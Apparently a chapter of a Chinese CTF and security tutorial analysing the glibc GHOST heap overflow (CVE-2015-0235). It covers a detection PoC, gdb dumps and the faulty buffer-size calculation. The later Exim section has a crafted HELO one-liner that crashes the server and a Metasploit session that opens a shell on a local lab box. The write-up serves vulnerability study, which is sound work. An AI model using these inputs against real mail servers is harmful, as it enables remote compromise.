CTF-All-In-One/doc/7.1.2_glibc_2015-0235.md

569 lines
19 KiB
Markdown
Raw Normal View History

2018-05-19 20:22:04 +07:00
# 7.1.2 CVE-2015-0235 glibc __nss_hostname_digits_dots 堆溢出漏洞
2018-01-25 23:50:41 +07:00
- [漏洞描述](#漏洞描述)
- [漏洞复现](#漏洞复现)
- [漏洞分析](#漏洞分析)
2018-01-26 17:17:24 +07:00
- [Exim expolit](#exim-exploit)
2018-01-25 23:50:41 +07:00
- [参考资料](#参考资料)
[下载文件](../src/exploit/7.1.2_glibc_2015-0235)
## 漏洞描述
2018-08-05 16:43:10 +07:00
glibc 是 GNU 的 C 运行库,几乎所有 Linux 的其他运行库都依赖于它。该漏洞被称为 GHOST发生的原因是函数 `__nss_hostname_digits_dots()` 存在缓冲区溢出,可以通过 `gethostbyname*()` 系列函数触发,最容易的攻击入口是邮件服务器,攻击者可以实施远程攻击甚至完全控制目标系统。受影响的版本从 glibc-2.2 到 glibc-2.17。
2018-01-25 23:50:41 +07:00
## 漏洞复现
2018-08-05 16:43:10 +07:00
2018-01-31 10:28:00 +07:00
| |推荐使用的环境 | 备注 |
| --- | --- | --- |
| 操作系统 | Ubuntu 12.04 | 体系结构64 位 |
2018-05-18 15:23:54 +07:00
| 调试器 | gdb-peda | 版本号7.4 |
2018-01-31 10:28:00 +07:00
| 漏洞软件 | glibc | 版本号2.15 |
| 受影响软件 | Exim4 | 版本号4.80 |
2018-01-25 23:50:41 +07:00
通过下面的 PoC 可以知道自己的系统是否受到影响:
2018-08-05 16:43:10 +07:00
2018-01-25 23:50:41 +07:00
```c
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
2018-08-05 16:43:10 +07:00
2018-01-25 23:50:41 +07:00
#define CANARY "in_the_coal_mine"
2018-08-05 16:43:10 +07:00
2018-01-25 23:50:41 +07:00
struct {
char buffer[1024];
char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };
2018-08-05 16:43:10 +07:00
2018-01-25 23:50:41 +07:00
int main(void) {
struct hostent resbuf;
struct hostent *result;
int herrno;
int retval;
2018-08-05 16:43:10 +07:00
2018-01-25 23:50:41 +07:00
/*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
char name[sizeof(temp.buffer)];
memset(name, '0', len);
name[len] = '\0';
2018-08-05 16:43:10 +07:00
2018-01-25 23:50:41 +07:00
retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
2018-08-05 16:43:10 +07:00
2018-01-25 23:50:41 +07:00
if (strcmp(temp.canary, CANARY) != 0) {
puts("vulnerable");
exit(EXIT_SUCCESS);
}
if (retval == ERANGE) {
puts("not vulnerable");
exit(EXIT_SUCCESS);
}
puts("should not happen");
exit(EXIT_FAILURE);
}
```
2018-08-05 16:43:10 +07:00
```text
$ file /lib/x86_64-linux-gnu/libc-2.15.so
2018-01-25 23:50:41 +07:00
/lib/x86_64-linux-gnu/libc-2.15.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=0x7c4f51534761d69afd01ac03d3c9bc7ccd21f6c6, for GNU/Linux 2.6.24, stripped
$ gcc -g poc.c
$ ./a.out
vulnerable
```
2018-08-05 16:43:10 +07:00
2018-01-25 23:50:41 +07:00
很明显是存在漏洞的。简单解释一下 PoC在栈上布置一个区域 temp由 buffer 和 canary 组成,然后初始化一个 name最后执行函数 gethostbyname_r(),正常情况下,当把 name+\*host\_addr+\*h\_addr\_ptrs+1 复制到 buffer 时,会正好覆盖缓冲区且没有溢出。然而,实际情况并不是这样。
函数 `gethostbyname_r()``include/netdb.h` 中定义如下:
2018-08-05 16:43:10 +07:00
2018-01-25 23:50:41 +07:00
```c
struct hostent {
char *h_name; /* official name of host */
char **h_aliases; /* alias list */
int h_addrtype; /* host address type */
int h_length; /* length of address */
char **h_addr_list; /* list of addresses */
}
#define h_addr h_addr_list[0] /* for backward compatibility */
int gethostbyname_r(const char *name,
struct hostent *ret, char *buf, size_t buflen,
struct hostent **result, int *h_errnop);
```
2018-08-05 16:43:10 +07:00
2018-01-25 23:50:41 +07:00
- `name`:网页的 host 名称
- `ret`:成功时用于存储结果
- `buf`:临时缓冲区,存储过程中的各种信息
- `buflen`:缓冲区大小
- `result`:成功时指向 ret
- `h_errnop`:存储错误码
执行前:
2018-08-05 16:43:10 +07:00
```text
2018-01-25 23:50:41 +07:00
gdb-peda$ x/6gx temp.buffer
0x601060 <temp>: 0x0000726566667562 0x0000000000000000 <-- buffer <-- host_addr
0x601070 <temp+16>: 0x0000000000000000 0x0000000000000000 <-- h_addr_ptrs
0x601080 <temp+32>: 0x0000000000000000 0x0000000000000000 <-- hostname
gdb-peda$ x/20gx temp.canary-0x10
0x601450 <temp+1008>: 0x0000000000000000 0x0000000000000000
0x601460 <temp+1024>: 0x635f6568745f6e69 0x656e696d5f6c616f <-- canary
0x601470 <temp+1040>: 0x0000000000000000 0x0000000000000000
```
2018-08-05 16:43:10 +07:00
2018-01-25 23:50:41 +07:00
执行后:
2018-08-05 16:43:10 +07:00
```text
2018-01-25 23:50:41 +07:00
gdb-peda$ x/6gx temp.buffer
0x601060 <temp>: 0x0000000000000000 0x0000000000000000 <-- buffer <-- host_addr
0x601070 <temp+16>: 0x0000000000601060 0x0000000000000000 <-- h_addr_ptrs
0x601080 <temp+32>: 0x0000000000000000 0x3030303030303030 <-- h_alias_ptr, hostname
gdb-peda$ x/6gx temp.canary-0x10
0x601450 <temp+1008>: 0x3030303030303030 0x3030303030303030
0x601460 <temp+1024>: 0x0030303030303030 0x656e696d5f6c616f <-- canary
0x601470 <temp+1040>: 0x0000000000000000 0x0000000000000000
```
2018-08-05 16:43:10 +07:00
canary 被覆盖了 8 个字节,即溢出了 8 个字节。
2018-01-25 23:50:41 +07:00
## 漏洞分析
2018-08-05 16:43:10 +07:00
```text
2018-01-25 23:50:41 +07:00
grep -irF '__nss_hostname_digits_dots' ./*
./CANCEL-FCT-WAIVE:__nss_hostname_digits_dots
./ChangeLog.12: * nss/Versions (libc): Add __nss_hostname_digits_dots to GLIBC_2.2.2.
[...]
./nss/getXXbyYY.c: if (__nss_hostname_digits_dots (name, &resbuf, &buffer,
./nss/digits_dots.c:__nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
./nss/digits_dots.c:libc_hidden_def (__nss_hostname_digits_dots)
./nss/getXXbyYY_r.c: switch (__nss_hostname_digits_dots (name, resbuf, &buffer, NULL,
```
2018-08-05 16:43:10 +07:00
2018-01-25 23:50:41 +07:00
通过搜索漏洞函数我们发现,函数是从 glibc-2.2.2 开始引入的,且仅在 getXXbyYY.c 和 getXXbyYY_r.c 中被使用,且需要 `HANDLE_DIGITS_DOTS` 被定义:
2018-08-05 16:43:10 +07:00
2018-01-25 23:50:41 +07:00
```c
// inet/gethstbynm.c
#define NEED_H_ERRNO 1
// nss/getXXbyYY_r.c
#ifdef HANDLE_DIGITS_DOTS
if (buffer != NULL)
{
if (__nss_hostname_digits_dots (name, &resbuf, &buffer,
&buffer_size, 0, &result, NULL, AF_VAL,
H_ERRNO_VAR_P))
goto done;
}
#endif
```
具体程序如下来自glibc-2.17
2018-08-05 16:43:10 +07:00
2018-01-25 23:50:41 +07:00
```c
// nss/digits_dots.c
int
__nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
char **buffer, size_t *buffer_size,
size_t buflen, struct hostent **result,
enum nss_status *status, int af, int *h_errnop)
{
[...]
if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':')
{
const char *cp;
char *hostname;
typedef unsigned char host_addr_t[16];
host_addr_t *host_addr;
typedef char *host_addr_list_t[2];
host_addr_list_t *h_addr_ptrs;
char **h_alias_ptr;
size_t size_needed;
[...]
// size_needed 决定了缓冲区的大小,即 *host_addr+*h_addr_ptrs+name+1 1存储结尾的'\0'
size_needed = (sizeof (*host_addr)
+ sizeof (*h_addr_ptrs) + strlen (name) + 1);
if (buffer_size == NULL) // 重入分支
{
if (buflen < size_needed)
{
[...]
goto done;
}
}
else if (buffer_size != NULL && *buffer_size < size_needed) // 非重入分支
{
char *new_buf;
*buffer_size = size_needed;
new_buf = (char *) realloc (*buffer, *buffer_size); // 重新分配缓冲区,以保证其足够大
if (new_buf == NULL)
{
[...]
goto done;
}
*buffer = new_buf;
}
[...]
// 但这里在计算长度时却是 host_addr+h_addr_ptrs+h_alias_ptr+hostname
// 与缓冲区相差了一个 h_alias_ptr64 位下为 8 字节
host_addr = (host_addr_t *) *buffer;
h_addr_ptrs = (host_addr_list_t *)
((char *) host_addr + sizeof (*host_addr));
h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs));
hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr);
if (isdigit (name[0]))
{
for (cp = name;; ++cp)
{
if (*cp == '\0')
{
int ok;
if (*--cp == '.')
break;
[...]
if (af == AF_INET)
ok = __inet_aton (name, (struct in_addr *) host_addr);
else
{
assert (af == AF_INET6);
ok = inet_pton (af, name, host_addr) > 0;
}
if (! ok)
{
[...]
goto done;
}
resbuf->h_name = strcpy (hostname, name); // 复制 name 到 hostname触发缓冲区溢出
[...]
goto done;
}
if (!isdigit (*cp) && *cp != '.')
break;
}
}
```
2018-08-05 16:43:10 +07:00
2018-01-25 23:50:41 +07:00
注释已经在代码中了,也就是实际需要的缓冲区长度与所申请的缓冲区长度不一致的问题。当然想要触发漏洞,需要满足下面几个条件:
2018-08-05 16:43:10 +07:00
2018-01-25 23:50:41 +07:00
- name 的第一个字符必须是数字
- name 的最后一个字符不能是 "."
- name 的所有字符只能是数字或者 "."
- 必须是 IPv4 地址且必须是这些格式中的一种:"a.b.c.d""a.b.c""a",且 a,b,c,d 均不能超过无符号整数的最大值,即 0xffffffff
对比一下 glibc-2.18 的代码,也就是把 h_alias\_ptr 的长度加上了,问题完美解决:
2018-08-05 16:43:10 +07:00
2018-01-25 23:50:41 +07:00
```c
size_needed = (sizeof (*host_addr)
+ sizeof (*h_addr_ptrs)
+ sizeof (*h_alias_ptr) + strlen (name) + 1);
```
2018-08-05 16:43:10 +07:00
### Exim exploit
```text
2018-01-26 17:17:24 +07:00
$ sudo apt-get install libpcre3-dev
$ git clone https://github.com/Exim/exim.git
$ cd exim/src
$ git checkout exim-4_80
$ mkdir Local
$ cp src/EDITME Local/Makefile
$ #修改 Makefile 中的 EXIM_USER=你的用户名
$ #注释掉 EXIM_MONITOR=eximon.bin
$ #然后取消掉 PCRE_LIBS=-lpcre 的注释
$ make && sudo make install
```
2018-08-05 16:43:10 +07:00
2018-01-26 17:17:24 +07:00
最后为了能够调用 `smtp_verify_helo()`,在 Exim 的配置文件中必须开启 `helo_verify_hosts``helo_try_verify_hosts`。在文件 `/var/lib/exim4/config.autogenerated` 中的 `acl_smtp_mail` 一行下面加上 `helo_try_verify_hosts = *` 或者 `helo_verify_hosts = *`
2018-08-05 16:43:10 +07:00
```text
2018-01-26 17:17:24 +07:00
acl_smtp_mail = MAIN_ACL_CHECK_MAIL
helo_try_verify_hosts = *
```
2018-08-05 16:43:10 +07:00
2018-01-26 17:17:24 +07:00
更新并重启软件即可:
2018-08-05 16:43:10 +07:00
```text
2018-01-26 17:17:24 +07:00
$ update-exim4.conf
$ exim4 -bP | grep helo_try
helo_try_verify_hosts = *
$ sudo /etc/init.d/exim4 stop
$ sudo /usr/exim/bin/exim -bdf -d+all
```
2018-08-05 16:43:10 +07:00
2018-01-31 10:28:00 +07:00
这样就把程序以 debug 模式开启了,之后的所有操作都会被打印出来,方便观察。还是为了方便(懒),后续的所有操作都只在本地执行。
2018-01-26 17:17:24 +07:00
先简单地看一下 Exim 处理 HELO 命令的过程,在另一个 shell 里,使用 telenet 连接上 Exim根据前面的限制条件随便输入点什么
2018-08-05 16:43:10 +07:00
```text
2018-01-26 17:17:24 +07:00
$ telnet 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 16:58:37 +0800
HELO 0123456789
250 firmy-VirtualBox Hello localhost [127.0.0.1]
^CConnection closed by foreign host.
firmy@firmy-VirtualBox:~$ telnet 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 17:00:47 +0800
HELO 0123456789
250 firmy-VirtualBox Hello localhost [127.0.0.1]
```
2018-08-05 16:43:10 +07:00
2018-01-26 17:17:24 +07:00
结果如下:
2018-08-05 16:43:10 +07:00
```text
2018-01-26 17:17:24 +07:00
17:00:47 5577 Process 5577 is ready for new message
17:00:47 5577 smtp_setup_msg entered
17:00:55 5577 SMTP<< HELO 0123456789
17:00:55 5577 sender_fullhost = localhost (0123456789) [127.0.0.1]
17:00:55 5577 sender_rcvhost = localhost ([127.0.0.1] helo=0123456789)
17:00:55 5577 set_process_info: 5577 handling incoming connection from localhost (0123456789) [127.0.0.1]
17:00:55 5577 verifying EHLO/HELO argument "0123456789"
17:00:55 5577 getting IP address for 0123456789
17:00:55 5577 gethostbyname2(af=inet6) returned 1 (HOST_NOT_FOUND)
17:00:55 5577 gethostbyname2(af=inet) returned 1 (HOST_NOT_FOUND)
17:00:55 5577 no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1])
17:00:55 5577 LOG: host_lookup_failed MAIN
17:00:55 5577 no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1])
17:00:55 5577 HELO verification failed but host is in helo_try_verify_hosts
17:00:55 5577 SMTP>> 250 firmy-VirtualBox Hello localhost [127.0.0.1]
```
可以看到它最终调用了 `gethostbyname2()` 函数来解析来自 SMTP 客户端的数据包。具体代码如下:[github](https://github.com/Exim/exim/tree/exim-4_80)
2018-08-05 16:43:10 +07:00
2018-01-26 17:17:24 +07:00
```c
// src/src/smtp_in.c
int
smtp_setup_msg(void)
{
[...]
while (done <= 0)
{
[...]
switch(smtp_read_command(TRUE))
{
[...]
case HELO_CMD:
HAD(SCH_HELO);
hello = US"HELO";
esmtp = FALSE;
goto HELO_EHLO;
case EHLO_CMD:
HAD(SCH_EHLO);
hello = US"EHLO";
esmtp = TRUE;
// 当 SMTP 命令为 HELO 或 EHLO 时,执行下面的过程
HELO_EHLO: /* Common code for HELO and EHLO */
cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;
/* Reject the HELO if its argument was invalid or non-existent. A
successful check causes the argument to be saved in malloc store. */
if (!check_helo(smtp_cmd_data)) // 检查 HELO 的格式必须是 IP 地址
{
[...]
break;
}
[...]
helo_verified = helo_verify_failed = FALSE;
if (helo_required || helo_verify)
{
BOOL tempfail = !smtp_verify_helo(); // 验证 HELO 是否有效
if (!helo_verified)
{
if (helo_required)
{
[...]
}
HDEBUG(D_all) debug_printf("%s verification failed but host is in "
"helo_try_verify_hosts\n", hello);
}
}
```
2018-08-05 16:43:10 +07:00
2018-01-26 17:17:24 +07:00
继续看函数 `smtp_verify_helo()`
2018-08-05 16:43:10 +07:00
2018-01-26 17:17:24 +07:00
```c
// src/src/smtp_in.c
BOOL
smtp_verify_helo(void)
{
[...]
if (!helo_verified)
{
int rc;
host_item h;
h.name = sender_helo_name;
h.address = NULL;
h.mx = MX_NONE;
h.next = NULL;
HDEBUG(D_receive) debug_printf("getting IP address for %s\n",
sender_helo_name);
rc = host_find_byname(&h, NULL, 0, NULL, TRUE);
if (rc == HOST_FOUND || rc == HOST_FOUND_LOCAL)
[....]
}
}
```
2018-08-05 16:43:10 +07:00
2018-01-26 17:17:24 +07:00
```c
// src/src/host.c
int
host_find_byname(host_item *host, uschar *ignore_target_hosts, int flags,
uschar **fully_qualified_name, BOOL local_host_check)
{
[...]
for (i = 1; i <= times;
#if HAVE_IPV6
af = AF_INET, /* If 2 passes, IPv4 on the second */
#endif
i++)
{
[...]
#if HAVE_IPV6
if (running_in_test_harness)
hostdata = host_fake_gethostbyname(host->name, af, &error_num);
else
{
#if HAVE_GETIPNODEBYNAME
hostdata = getipnodebyname(CS host->name, af, 0, &error_num);
#else
hostdata = gethostbyname2(CS host->name, af);
error_num = h_errno;
#endif
}
#else /* not HAVE_IPV6 */
if (running_in_test_harness)
hostdata = host_fake_gethostbyname(host->name, AF_INET, &error_num);
else
{
hostdata = gethostbyname(CS host->name);
error_num = h_errno;
}
#endif /* HAVE_IPV6 */
```
2018-08-05 16:43:10 +07:00
2018-01-26 17:17:24 +07:00
函数 `host_find_byname` 调用了 `gethostbyname()``gethostbyname2()` 分别针对 IPv4 和 IPv6 进行处理,也就是在这里可以触发漏洞函数。
这一次我们输入这样的一串字符,即可导致溢出:
2018-08-05 16:43:10 +07:00
```text
2018-01-26 17:17:24 +07:00
$ python -c "print 'HELO ' + '0'*$((0x500-16*1-2*8-1-8))"
```
2018-08-05 16:43:10 +07:00
2018-01-26 17:17:24 +07:00
但是程序可能还是正常在运行的,我们多输入执行几次就会触发漏洞,发生段错误,连接被断开。
2018-08-05 16:43:10 +07:00
```text
2018-01-26 17:17:24 +07:00
Connection closed by foreign host.
```
2018-08-05 16:43:10 +07:00
```text
2018-01-26 17:17:24 +07:00
$ dmesg | grep exim
[28929.172015] traps: exim4[3288] general protection ip:7fea41465c1d sp:7fff471f0dd0 error:0 in libc-2.15.so[7fea413f6000+1b5000]
[28929.493632] traps: exim4[3301] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000]
[28929.562113] traps: exim4[3304] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000]
[28929.631573] exim4[3307]: segfault at 100000008 ip 00007fea42e2d226 sp 00007fff471e8b50 error 4 in exim4[7fea42db6000+dc000]
```
其实对于 Exim 的攻击已经集成到了 Metasploit 框架中我们来尝试一下正好学习一下这个强大的框架仿佛自己也可以搞渗透测试。先关掉debug模式的程序重新以正常的样子打开
2018-08-05 16:43:10 +07:00
```text
2018-01-26 17:17:24 +07:00
$ /etc/init.d/exim4 restart
```
2018-08-05 16:43:10 +07:00
```text
2018-01-26 17:17:24 +07:00
msf > search exim
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/linux/smtp/exim4_dovecot_exec 2013-05-03 excellent Exim and Dovecot Insecure Configuration Command Injection
exploit/linux/smtp/exim_gethostbyname_bof 2015-01-27 great Exim GHOST (glibc gethostbyname) Buffer Overflow
exploit/unix/local/exim_perl_startup 2016-03-10 excellent Exim "perl_startup" Privilege Escalation
exploit/unix/smtp/exim4_string_format 2010-12-07 excellent Exim4 string_format Function Heap Buffer Overflow
exploit/unix/webapp/wp_phpmailer_host_header 2017-05-03 average WordPress PHPMailer Host Header Command Injection
2018-08-05 16:43:10 +07:00
msf > use exploit/linux/smtp/exim_gethostbyname_bof
2018-01-26 17:17:24 +07:00
msf exploit(linux/smtp/exim_gethostbyname_bof) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(linux/smtp/exim_gethostbyname_bof) > set SENDER_HOST_ADDRESS 127.0.0.1
SENDER_HOST_ADDRESS => 127.0.0.1
msf exploit(linux/smtp/exim_gethostbyname_bof) > set payload cmd/unix/bind_netcat
payload => cmd/unix/bind_netcat
2018-08-05 16:43:10 +07:00
msf exploit(linux/smtp/exim_gethostbyname_bof) > show options
2018-01-26 17:17:24 +07:00
Module options (exploit/linux/smtp/exim_gethostbyname_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 127.0.0.1 yes The target address
RPORT 25 yes The target port (TCP)
SENDER_HOST_ADDRESS 127.0.0.1 yes The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)
Payload options (cmd/unix/bind_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST 127.0.0.1 no The target address
Exploit target:
Id Name
-- ----
0 Automatic
2018-08-05 16:43:10 +07:00
msf exploit(linux/smtp/exim_gethostbyname_bof) > exploit
2018-01-26 17:17:24 +07:00
[*] Started bind handler
[*] 127.0.0.1:25 - Checking if target is vulnerable...
[+] 127.0.0.1:25 - Target is vulnerable.
[*] 127.0.0.1:25 - Trying information leak...
[+] 127.0.0.1:25 - Successfully leaked_arch: x64
[+] 127.0.0.1:25 - Successfully leaked_addr: 7fea43824720
[*] 127.0.0.1:25 - Trying code execution...
[+] 127.0.0.1:25 - Brute-forced min_heap_addr: 7fea438116cb
[+] 127.0.0.1:25 - Brute-force SUCCESS
[+] 127.0.0.1:25 - Please wait for reply...
[*] Command shell session 1 opened (127.0.0.1:34327 -> 127.0.0.1:4444) at 2018-01-26 17:29:07 +0800
whoami
Debian-exim
id
uid=115(Debian-exim) gid=125(Debian-exim) groups=125(Debian-exim)
```
2018-08-05 16:43:10 +07:00
2018-01-26 17:17:24 +07:00
Bingo!!!成功获得了一个反弹 shell。
对于该脚本到底是怎么做到的,本人水平有限,还有待分析。。。
2018-01-25 23:50:41 +07:00
## 参考资料
2018-08-05 16:43:10 +07:00
2018-01-25 23:50:41 +07:00
- [CVE-2015-0235 Detail](https://nvd.nist.gov/vuln/detail/CVE-2015-0235)
- [Qualys Security Advisory CVE-2015-0235](http://www.openwall.com/lists/oss-security/2015/01/27/9)
- [Exim - 'GHOST' glibc gethostbyname Buffer Overflow (Metasploit)](https://www.exploit-db.com/exploits/36421/)
- [Exim ESMTP 4.80 - glibc gethostbyname Denial of Service](https://www.exploit-db.com/exploits/35951/)